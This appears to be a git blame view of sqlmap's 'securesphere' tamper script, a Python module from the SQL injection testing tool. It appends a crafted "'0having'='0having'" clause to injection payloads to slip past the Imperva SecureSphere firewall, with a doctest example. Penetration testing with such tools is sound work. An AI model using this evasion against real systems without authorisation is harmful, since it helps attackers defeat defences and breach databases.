sqlmap/tamper/securesphere.py

27 lines
577 B
Python
Raw Normal View History

#!/usr/bin/env python
2011-07-09 02:48:03 +04:00
"""
2018-01-02 02:48:10 +03:00
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
2017-10-11 15:50:46 +03:00
See the file 'LICENSE' for copying permission
2011-07-09 02:48:03 +04:00
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
2012-12-03 17:27:01 +04:00
def tamper(payload, **kwargs):
2011-07-09 02:48:03 +04:00
"""
2018-07-31 02:17:11 +03:00
Appends special crafted string for bypassing Imperva SecureSphere WAF
2011-07-09 02:48:03 +04:00
2018-07-31 02:17:11 +03:00
Reference:
* http://seclists.org/fulldisclosure/2011/May/163
>>> tamper('1 AND 1=1')
"1 AND 1=1 and '0having'='0having'"
2011-07-09 02:48:03 +04:00
"""
return payload + " and '0having'='0having'" if payload else payload